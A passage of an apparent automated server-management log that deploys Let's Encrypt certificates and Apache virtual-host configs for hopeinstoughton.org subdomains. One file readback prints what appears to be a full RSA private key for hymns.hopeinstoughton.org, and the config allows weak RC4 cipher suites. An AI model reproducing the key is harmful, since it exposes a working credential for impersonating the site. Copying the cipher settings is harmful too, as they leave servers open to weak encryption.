igau7B1TWrKWhXEpSRBvG46NYFIKFStEYTKfrOMGLIRrMAWeADspa4onWyJP5Qgl
+0iZRugdWoHWasKkyPSTkvsrnvzJ0axnUxRiUwod4HN8wS+ALwdqBtXenoSCfCw5
Vd0bzegmx9PHiliHWFZwxecjpeBBFyfFPYnf8SMAr+kCgYEA03tqMQl+I29z8bs1
6Uh2XV0Youv1SHY4ZfqQnjv8xomMWqGBk3Kbbw0WMebUujylCIrtvVya1OVkUpnC
a2gyd8QUDxH6fXd4itF3dezQBAxBH15UpuqcNmdHMih5bJQ9tvzwcfFeOI/DLPr2
kF99u+66KFHLeGfRG04zheMFXlo=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-08-30 06:00:36: 

chmod 755 /tmp/pkp670191; /tmp/pkp670191; rm /tmp/pkp670191

2025-08-30 06:00:36: 


dir=/etc/ssl/certs


2025-08-30 06:00:36: 

PUT: /tmp/pkp710800

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-08-30 06:00:36: 

chmod 755 /tmp/pkp710800; /tmp/pkp710800; rm /tmp/pkp710800

2025-08-30 06:00:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf 49
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>






2025-08-30 06:00:37: 

PUT: /tmp/pkp581181

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_hymns_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf= 1'
fi


2025-08-30 06:00:37: 

chmod 755 /tmp/pkp581181; /tmp/pkp581181; rm /tmp/pkp581181

2025-08-30 06:00:37: 




2025-08-30 06:00:37: 

PUT: /tmp/pkp645128

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-08-30 06:00:38: 

chmod 755 /tmp/pkp645128; /tmp/pkp645128; rm /tmp/pkp645128

2025-08-30 06:00:38: 


.


2025-08-30 06:00:38: Establishing a connection
2025-08-30 06:00:39: 

PUT: /tmp/pkp517168

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-08-30 06:00:40: 

chmod 755 /tmp/pkp517168; /tmp/pkp517168; rm /tmp/pkp517168

2025-08-30 06:00:40: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-08-30 06:00:40: 

PUT: /tmp/pkp419705

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-30 06:00:41: 

chmod 755 /tmp/pkp419705; /tmp/pkp419705; rm /tmp/pkp419705

2025-08-30 06:00:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf	1490
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>







2025-08-30 06:00:41: 

PUT: /tmp/pkp684862

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-30 06:00:42: 

chmod 755 /tmp/pkp684862; /tmp/pkp684862; rm /tmp/pkp684862

2025-08-30 06:00:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4	5378
9d:e5:1a:e6:ff:a6:10:a9:29:91:ac:ae:36:c8:90:62

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBkrY18H+SClnHhWYxcv98yhvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwMjAzWhcNMjUxMTI4MDUwMjAyWjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA6UipjSb0cOqagJTAsYpATGhxiDOJyhlXrfO9uuJELUn0QZcs
dNapo5okVhk02ztWez1uuojOIwtlbfYRw/jadqs7SxUdeSTXKb4Xi+gmX6DUwRs/
D0lRvQYLIXbW1KaFPbsO3lN0nLGUEkl8T2mEiVMkEgH+y1CGpRebg8HnNBdXNsc+
0xBCXW04TVTqLp9ETYUK5t8HT9Cvm3ySDiL+xhju8SLayPvLGNq+UndHb4eDRH5l
AY0oZF0LssBeFOCJOajVF037clkTdcEvC8bAH7mTp+tCfrzcLO9U2cbATkGuXIGb
pDP3BEbQU0/vPwLb4CC4qiIwHYXcxCBZ3tadFwIDAQABo4ICKTCCAiUwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBRbtYY0Far7aVzfQAEG3Ng1yQRwTTAfBgNVHSMEGDAW
gBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMTIuY3JsMIIBAwYKKwYB
BAHWeQIEAgSB9ASB8QDvAHUA7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+
P+AAAAGY+ZAyiAAABAMARjBEAiAuArqIBOA8XXZzUZOT5G/09ddmJh9jnB8XXaw/
eOsv1gIgTghq1FAU46eezIcRmPu0iVqh1aXyEEnQoYcj4CA73isAdgDd3Mo0ldfh
FgXnlTL6x5/4PRxQ39sAOhQSdgosrLvIKgAAAZj5kDKiAAAEAwBHMEUCIQDTQo9v
TgDrjdlMss/2F1JwI0QPlcldcoEy2rl9aL89HQIgc+qx4IcBJNZ0hIDSpm/XZR3X
W+4/pAPp8aCAMmCeCQAwDQYJKoZIhvcNAQELBQADggEBAEkQQvj5GkmcpItbw05G
jKWnXjeIPh0IeX/ZHyyojl4c6XLUsnkeckL7LWwmOqHkoDHL1qZLoLjsu21jCkj6
noyxuAFf8wfRh3BzVd+QqSfGZu4BQBaC8ZuJyf4kzcjb/Sfh7XIjNdiwToO+1UAo
2IWK4n5HnKi5gZkJJ5pv3Ct0Il4LFAfcK0sIzE6XUvccwa4AimlgulvzlqL9+Ud/
r4L53TCumrdcYR8RS7dtK+mgmrf5w9L9SajA66blgORZ90qe8IadG3LmKnYQw/R0
JrKoFIsxdhRWKheG/2YeybTX3Wo0uDL3HzZfNtslB0uiYyBnEJBOqUEHDdetouuN
JLU=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQDpSKmNJvRw6pqA
lMCxikBMaHGIM4nKGVet87264kQtSfRBlyx01qmjmiRWGTTbO1Z7PW66iM4jC2Vt
9hHD+Np2qztLFR15JNcpvheL6CZfoNTBGz8PSVG9BgshdtbUpoU9uw7eU3ScsZQS
SXxPaYSJUyQSAf7LUIalF5uDwec0F1c2xz7TEEJdbThNVOoun0RNhQrm3wdP0K+b
fJIOIv7GGO7xItrI+8sY2r5Sd0dvh4NEfmUBjShkXQuywF4U4Ik5qNUXTftyWRN1
wS8LxsAfuZOn60J+vNws71TZxsBOQa5cgZukM/cERtBTT+8/AtvgILiqIjAdhdzE
IFne1p0XAgMBAAECggEBANNhvADi42vNqOIJ5/D3zPtvSDCaQqiV/hTpX2oPzKcc
8+7bBLV6LYzJB1Pc00AzrFFPgR4VCHRIx0e0SLTCsXIGBlwqbeJvt2djkAJ+AQd1
vFKeVa2MSjx1VXClNlTJ7sHY1cgu5uN1JS7M1489lZK5e1214SJpfRfrJEdnVBCl
ushhGDUeeoGtvEGgE9ond2pL/0EATEUYs5dxFC3ZEzFgrtPgPdBTradIVb5/BVRT
t1yIIbmDvgq0X/30xgkA1BSx8EoYFg9MoQFSXMe8QDwcYBhymUOEmE9GKWu8x9tn
QuD1IVPrZpFBY+V2zA72627VP3a2oED7ERp+NLv0/UECgYEA9TLyl9zm/jm2Cxtw
XUcVR0pr8026Hn0KJRwOtKo/O7BNYqfNZUNUTABmet/VJoU1r3OURU34cnAbb2yD
EqA5Bi+Y5VdnRtwCtrl2Sc/uysJud/i80YgDmOw95FbASGQtN9C/vaEjYOiCYjK6
liV6GXbSu2DPamhxnYyX3yn5wA0CgYEA849ZmT5Hr4hZRrfkY4tf1oQ9FyDaoqcX
0ymAOyGviyukttvXH9pZUn2Uc/oCpG+TD8nhnOsMLVJcq+MaIodZ9ldkPJrKh07V
V/Nau7yC+0txiyB1/si6Chckc7YBYh4XOr5rVBeiJZ/+AH8rtOFgOfRSCCIEE5Tj
VbaWczahpLMCgYEAjPXZGQzZjtVGnmQL2NQAm5dhL+JDWTuxFVxn59zntTzJgCnP
nqNyVq70OzdqplZ2YoMjfiQw7DkezJOpVo/duHysfUweB1J8DOfZ5N0w/keAkl/g
zORQjR1jB14H9JYCmM/dKvr0B8YjDqjzM1YgN3tj8mzZUObySgyFUroi5hECgYEA
igau7B1TWrKWhXEpSRBvG46NYFIKFStEYTKfrOMGLIRrMAWeADspa4onWyJP5Qgl
+0iZRugdWoHWasKkyPSTkvsrnvzJ0axnUxRiUwod4HN8wS+ALwdqBtXenoSCfCw5
Vd0bzegmx9PHiliHWFZwxecjpeBBFyfFPYnf8SMAr+kCgYEA03tqMQl+I29z8bs1
6Uh2XV0Youv1SHY4ZfqQnjv8xomMWqGBk3Kbbw0WMebUujylCIrtvVya1OVkUpnC
a2gyd8QUDxH6fXd4itF3dezQBAxBH15UpuqcNmdHMih5bJQ9tvzwcfFeOI/DLPr2
kF99u+66KFHLeGfRG04zheMFXlo=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-08-30 06:00:42: Establishing a connection
2025-08-30 06:00:43: Establishing a connection
2025-08-30 06:00:44: 

PUT: /tmp/pkp422540

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_mixer/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-08-30 06:00:45: 

chmod 755 /tmp/pkp422540; /tmp/pkp422540; rm /tmp/pkp422540

2025-08-30 06:00:45: 


0


2025-08-30 06:01:10: Establishing a connection
2025-08-30 06:01:11: 

PUT: /tmp/pkp689255

#!/bin/bash
temp_file=$(mktemp)
TARGET=490fd86317cc9a7ba4710967bbbfc2a7

cat > $temp_file <<'endmsg'
43:b5:94:ac:57:b5:7b:ab:e2:79:8a:40:e9:45:cc:ba

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBgUyjzAQeP1QQJ/BTK+so8UnMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwMjM5WhcNMjUxMTI4MDUwMjM4WjAkMSIwIAYDVQQD
ExltaXhlci5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA0dmR0QyCM3Xhtvl28Ix9pO8HrGjWzhHTCgx09WV2lhIKcqgg
KrrOPwgUwYSodDeunaBkngBezLJrkGOKPTkMDbT/ocmCNAPhiEP98/x3hWmjCTKy
kaUmuWJI4XTLrpQTGH8j0Tx2qn5NJebnN6RjIBffGiy6UZoUbFg3DQ3Rsn3mMQAv
3B6zFTLKELsDYEblGFLxOj/Whtox2240QpKp9OaWJH6jFu7v8PVs+yp5/uac7Paa
ODuHEVNiqQsIca2BjA35rSFEHDf93QVvIkcxIfz7/1jSbyquA3JuiUaFljyQtwaf
H/MjMFKyDaYMwaSSLB59JgxV+60nY/4OwvfjlQIDAQABo4ICKTCCAiUwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSzbDH+UUkBiJITRW/mVgekYnrsgjAfBgNVHSMEGDAW
gBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGW1peGVyLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy80MC5jcmwwggEEBgorBgEE
